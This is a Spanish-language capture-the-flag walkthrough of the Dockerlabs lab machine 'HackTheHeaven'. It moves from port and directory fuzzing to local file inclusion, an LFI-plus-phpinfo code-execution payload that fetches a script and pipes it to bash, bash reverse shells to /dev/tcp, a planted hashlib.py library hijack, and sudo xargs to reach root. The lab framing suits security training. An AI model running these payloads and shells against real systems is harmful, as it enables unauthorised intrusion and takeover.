HackTheHeaven es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Difícil
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-07 19:06 CEST Initiating ARP Ping Scan at 19:06 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 19:06, 0.04s elapsed (1 total hosts) Initiating SYN Stealth Scan at 19:06 Scanning 172.17.0.2 [65535 ports] Discovered open port 80/tcp on 172.17.0.2 Completed SYN Stealth Scan at 19:06, 0.79s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000070s latency). Scanned at 2024-05-07 19:06:36 CEST for 1s Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
└─$ sudo nmap -sCV -p80 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-07 21:26 CEST Nmap scan report for 172.17.0.2 Host is up (0.000074s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: Bienvenido a HackTheHeaven |_http-server-header: Apache/2.4.58 (Ubuntu) MAC Address: 02:42:AC:11:00:02 (Unknown) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds |
Lanzamos feroxbuster para ver que carpetas o paginas existen que tengan las extensiones php, html o txt
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
──(kali㉿kali)-[~] └─$ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://172.17.0.2 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, txt, html] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 39l 76w 925c http://172.17.0.2/ 200 GET 0l 0w 0c http://172.17.0.2/a 200 GET 39l 76w 925c http://172.17.0.2/index.html 200 GET 823l 4346w 72830c http://172.17.0.2/info.php 200 GET 1l 9w 53c http://172.17.0.2/clouddev3lopmentfile.php 200 GET 367l 1912w 136972c http://172.17.0.2/w3images/image3.jpg 200 GET 108l 547w 50630c http://172.17.0.2/w3images/image1.jpg 200 GET 382l 2156w 187468c http://172.17.0.2/w3images/image2.jpg 200 GET 5612l 34248w 2387672c http://172.17.0.2/w3images/image4.jpg 200 GET 128l 570w 6494c http://172.17.0.2/idol.html |
Por el puerto 80 vemos lo siguiente

Miramos el fichero info.php que pensamos que será un phpinfo.php

Idol.html , en el cual nos da una pista de por donde puede venir la vulnerabilidad, LFI

Por ultimo revisamos clouddev3lopmentfile.php, el cual ya nos muestra un mensaje

Le haremos caso y fuzzearemos en busca de un parámetro
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
┌──(kali㉿kali)-[~] └─$ wfuzz -w lfi-fuzz-params-list.txt.1 --hh 53 'http://172.17.0.2/clouddev3lopmentfile.php?FUZZ=/etc/passwd' /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://172.17.0.2/clouddev3lopmentfile.php?FUZZ=/etc/passwd Total requests: 2588 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000072: 200 0 L 12 W 68 Ch "filename" Total time: 0 Processed Requests: 2588 Filtered Requests: 2587 Requests/sec.: 0 |
Intentando hacer las primeras comprobaciones manualmente y viendo que puede ser un rabbit hole, usamos un diccionario de diferentes payloads:
|
1 |
Si probamos cualquiera payload para leer el fichero passwd..

No vemos ningún archivo como id_rsa de los usuarios o algún otro que nos diga por donde debemos de ir así que vamos a ver que procesos están corriendo por si tiene alguna contraseña en su propia ejecución o lo que nos encontraremos una vez estemos en la maquina pero por ahora nada interesante.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
┌──(kali㉿kali)-[~] └─$ for i in {1..1000};do curl -s "http://172.17.0.2/clouddev3lopmentfile.php?filename=....//....//....//....//....//....//proc/$i/cmdline" --output $i;cat $i | grep -a "/[a-z]*/" | cut -d "<" -f 1;done /bin/bash -c service apache2 start ; su - s4vitar -c 'cd /opt/web && php -S localhost:9999'; while true; do echo 'Alive'; sleep 60; done /usr/sbin/apache2-kstart su-s4vitar-ccd /opt/web && php -S localhost:9999 /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart |
Teniendo un LFI y un phpinfo, buscando si tenemos cierta opción para que se cumpla un LFI2RCE

Asi que tenemos una posibilidad de que pueda venir por aquí la intrusión, usaremos el mismo script de github pero modificando el path del php info y el payload que ejecutará
|
1 2 3 4 |
PAYLOAD="""%s\r <?php system("curl 172.17.0.1/s|bash");?>\r""" % TAG LFIREQ="""GET /clouddev3lopmentfile.php?filename=/....//....//....//....//....//....//%s HTTP/1.1\r |
El fichero s contendrá el siguiente comando, nos pondremos en escucha por ese puerto y también levantaremos python http
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
└─$ cat ~/s /bin/bash -i >& /dev/tcp/172.17.0.1/1234 0>&1 └─$ nc -vnlp 1234 listening on [any] 1234 ... ┌──(kali㉿kali)-[~] └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... ┌──(kali㉿kali)-[~] └─$ python2 phpinfolfi.py 172.17.0.2 80 100 LFI With PHPInfo() -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Getting initial offset... found [tmp_name] at 114237 Spawning worker pool (100)... 586 / 1000 Got it! Shell created in /tmp/g Woot! \m/ Shuttin' down... |
Recibimos la conexión
|
1 2 3 4 5 6 7 8 |
└─$ nc -vnlp 1234 listening on [any] 1234 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 38722 bash: cannot set terminal process group (23): Inappropriate ioctl for device bash: no job control in this shell www-data@b13e69771a1f:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Al intentar ir a ver las home de los usuarios nos encontramos con una nota
|
1 2 3 4 5 6 7 8 |
www-data@b13e69771a1f:/home$ cat NotaParaMario.txt Hola Mario! Acuerdate de revisar el script conjunto que estamos desarrollando parar la comunidad! Lo he movido al directorio tmp megustaelfallout Borra esta nota cuando la leas. |
Intentamos usar esta contraseña con alguno de los usuarios que ya conocemos, escalamos a xerosec y vemos que podemos ejecutar como sudo lo primero
|
1 2 3 4 5 6 7 8 9 10 11 12 |
www-data@b13e69771a1f:/home$ su xerosec Password: xerosec@b13e69771a1f:/home$ xerosec@b13e69771a1f:/home$ sudo -l Matching Defaults entries for xerosec on b13e69771a1f: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User xerosec may run the following commands on b13e69771a1f: (mario) NOPASSWD: /usr/bin/python3 /tmp/script.py |
Vemos el contenido de script.py pero no tenemos permiso para editarlo
|
1 2 3 4 5 6 7 |
xerosec@b13e69771a1f:/home$ cat script.py import hashlib if __name__ == '__main__': cadena = input("Introduce la cadena: ") hash_md5 = hashlib.md5(cadena.encode()).hexdigest() print("El hash MD5 de la cadena es:", hash_md5) |
¿Qué podemos hacer? Siendo que nosotros lo ejecutamos, creamos un hashlib.py en /tmp para que el primer lugar donde ira a buscar la librería sea desde donde lo ejecutamos.
|
1 2 3 |
xerosec@b13e69771a1f:/tmp$ cat hashlib.py import os os.system("whoami") |
Ejecutamos de nuevo el script y nos da el siguiente output
|
1 2 3 |
xerosec@b13e69771a1f:/tmp$ sudo -u mario /usr/bin/python3 /tmp/script.py mario Introduce la cadena: |
Asi que en vez de escalar vamos a ver que tiene en su home, recordando que existía un servicio php corriendo en el puerto 9999
|
1 2 3 4 5 6 |
xerosec@b13e69771a1f:/tmp$ sudo -u mario /usr/bin/python3 /tmp/script.py total 4 -rw-r--r-- 1 root root 103 May 7 00:04 ServerDeS4vitar.txt xerosec@b13e69771a1f:/tmp$ sudo -u mario /usr/bin/python3 /tmp/script.py Acordarme de usar la sintaxis index.php?cmds4vi=id para ejecutar comandos en el server http de S4vitar |
Hacemos caso de lo indicado y tratamos de lanzar una petición, haciendo que como s4vitar es el que esta corriendo el proceso, cualquier comando se interpretará a través de su usuario.
|
1 2 |
xerosec@b13e69771a1f:/opt/web$ curl -s "http://127.0.0.1:9999/index.php?cmds4vi=id" uid=1001(s4vitar) gid=1001(s4vitar) groups=1001(s4vitar),100(users) |
Nos vamos a entablar una reverse shell para convertirnos en el usuario s4vitar, volvemos a modificar el contenido de la librería, nos ponemos en escucha y la ejecutamos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
xerosec@b13e69771a1f:/tmp$ cat /tmp/s /bin/bash -i >& /dev/tcp/172.17.0.1/9001 0>&1 xerosec@b13e69771a1f:/tmp$ curl -s "http://127.0.0.1:9999/index.php?cmds4vi=bash+/tmp/s" ┌──(kali㉿kali)-[~] └─$ nc -vnlp 9001 listening on [any] 9001 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 40712 bash: cannot set terminal process group (35): Inappropriate ioctl for device bash: no job control in this shell s4vitar@b13e69771a1f:/opt/web$ id id uid=1001(s4vitar) gid=1001(s4vitar) groups=1001(s4vitar),100(users) |
Con este nuevo usuario usamos sudo -l para comprobar si tenemos privilegios con algún binario
|
1 2 3 4 5 6 7 8 9 |
s4vitar@b13e69771a1f:~$ sudo -l sudo -l Matching Defaults entries for s4vitar on b13e69771a1f: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User s4vitar may run the following commands on b13e69771a1f: (root) NOPASSWD: /usr/bin/xargs |
Nos convertiremos por fin en root
|
1 2 3 4 5 |
s4vitar@b13e69771a1f:~$ sudo /usr/bin/xargs -a /dev/null sh sudo /usr/bin/xargs -a /dev/null sh hostname;id b13e69771a1f uid=0(root) gid=0(root) groups=0(root) |
Y hasta aquí la maquina de HackTheHeaven de la plataforma Dockerlabs!





